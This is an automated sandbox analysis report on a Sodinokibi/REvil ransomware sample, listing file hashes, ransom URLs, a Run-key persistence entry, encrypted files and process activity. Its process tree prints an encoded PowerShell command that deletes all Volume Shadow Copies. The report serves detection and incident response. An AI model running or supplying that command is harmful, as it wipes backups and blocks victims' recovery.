Analysis
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max time kernel
142s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
11/06/2024, 17:29
Static task
static1
Behavioral task
behavioral1
Sample
9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe
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Size
166KB
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MD5
9efbbace685671cc174a24989e4dda08
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SHA1
9234b5bd774ca12b0fe46ce74c80f1ea76d85600
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SHA256
65980c4eba464e9bdaa06ac6bad34b90405c591769accb078ac352288be9def5
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SHA512
a2af96b0e6557c1f4bb4900f5abb0d39594847521156d37c33c7f3c744475bf8e91a8f14e0910e6c4f192da9aa25e40acd691b7efe841adcf95ac8670b140133
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SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3Qlz:ZJ0BXScFy2RsQJ8zglz
Malware Config
Extracted
C:\Users\2ycy26y7i0-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/05BD86C3188A847E
http://decryptor.cc/05BD86C3188A847E
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe" 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\S: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\V: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\D: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\N: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\Y: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\K: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\W: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\B: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\H: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\L: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\T: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\Z: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\P: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\F: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\A: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\O: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\R: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\X: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\E: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\G: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\I: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\J: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\M: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened (read-only) \??\U: 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\l4lm55248mk7b.bmp" 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe -
Drops file in Program Files directory 33 IoCs
description ioc Process File opened for modification \??\c:\program files\ReadSelect.001 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\CompareConvertTo.rar 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\CompressSave.xps 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\FormatCheckpoint.crw 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\ImportResolve.dwg 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RedoJoin.mp4 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RestartMove.TTS 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\ShowExit.bin 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File created \??\c:\program files\2ycy26y7i0-readme.txt 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\GetConvert.mpg 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\MoveSet.potm 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RegisterExit.mpg 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RepairEdit.nfo 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\DebugPing.csv 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\ConfirmInitialize.vsd 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\LockPush.bin 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\MergeStart.mpe 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RequestInstall.m1v 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RestoreAssert.mpp 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\SuspendResume.mht 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\2ycy26y7i0-readme.txt 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\CompareResume.AAC 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File created \??\c:\program files (x86)\2ycy26y7i0-readme.txt 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\EnableInvoke.ppt 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\InvokeInitialize.xhtml 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\2ycy26y7i0-readme.txt 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\CopySend.ex_ 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\LockUnpublish.vstm 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\MovePop.ram 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\RestoreUnpublish.xls 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\SearchAdd.M2V 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\2ycy26y7i0-readme.txt 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe File opened for modification \??\c:\program files\DisablePing.htm 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2880 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe 1648 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2880 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeBackupPrivilege 2804 vssvc.exe Token: SeRestorePrivilege 2804 vssvc.exe Token: SeAuditPrivilege 2804 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2880 wrote to memory of 1648 2880 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe 28 PID 2880 wrote to memory of 1648 2880 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe 28 PID 2880 wrote to memory of 1648 2880 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe 28 PID 2880 wrote to memory of 1648 2880 9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe 28 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9efbbace685671cc174a24989e4dda08_JaffaCakes118.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2656
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD524ddf0b0324647f57091ee1f20ea217a
SHA1ba3ad22fc06b79f88638cf93f7101b40c6312fae
SHA256648b30845357b228741abad2d9eb7416b03066c525d033243002c878577852c9
SHA512bc7ab243449dbdb795ff7ca8675f792e8bb8540c9b83a23e246867bd13bdd09a2bcf1006186c3eda1d0516dabe8c60927b93b0b26c799a91a46e309705eb9fb2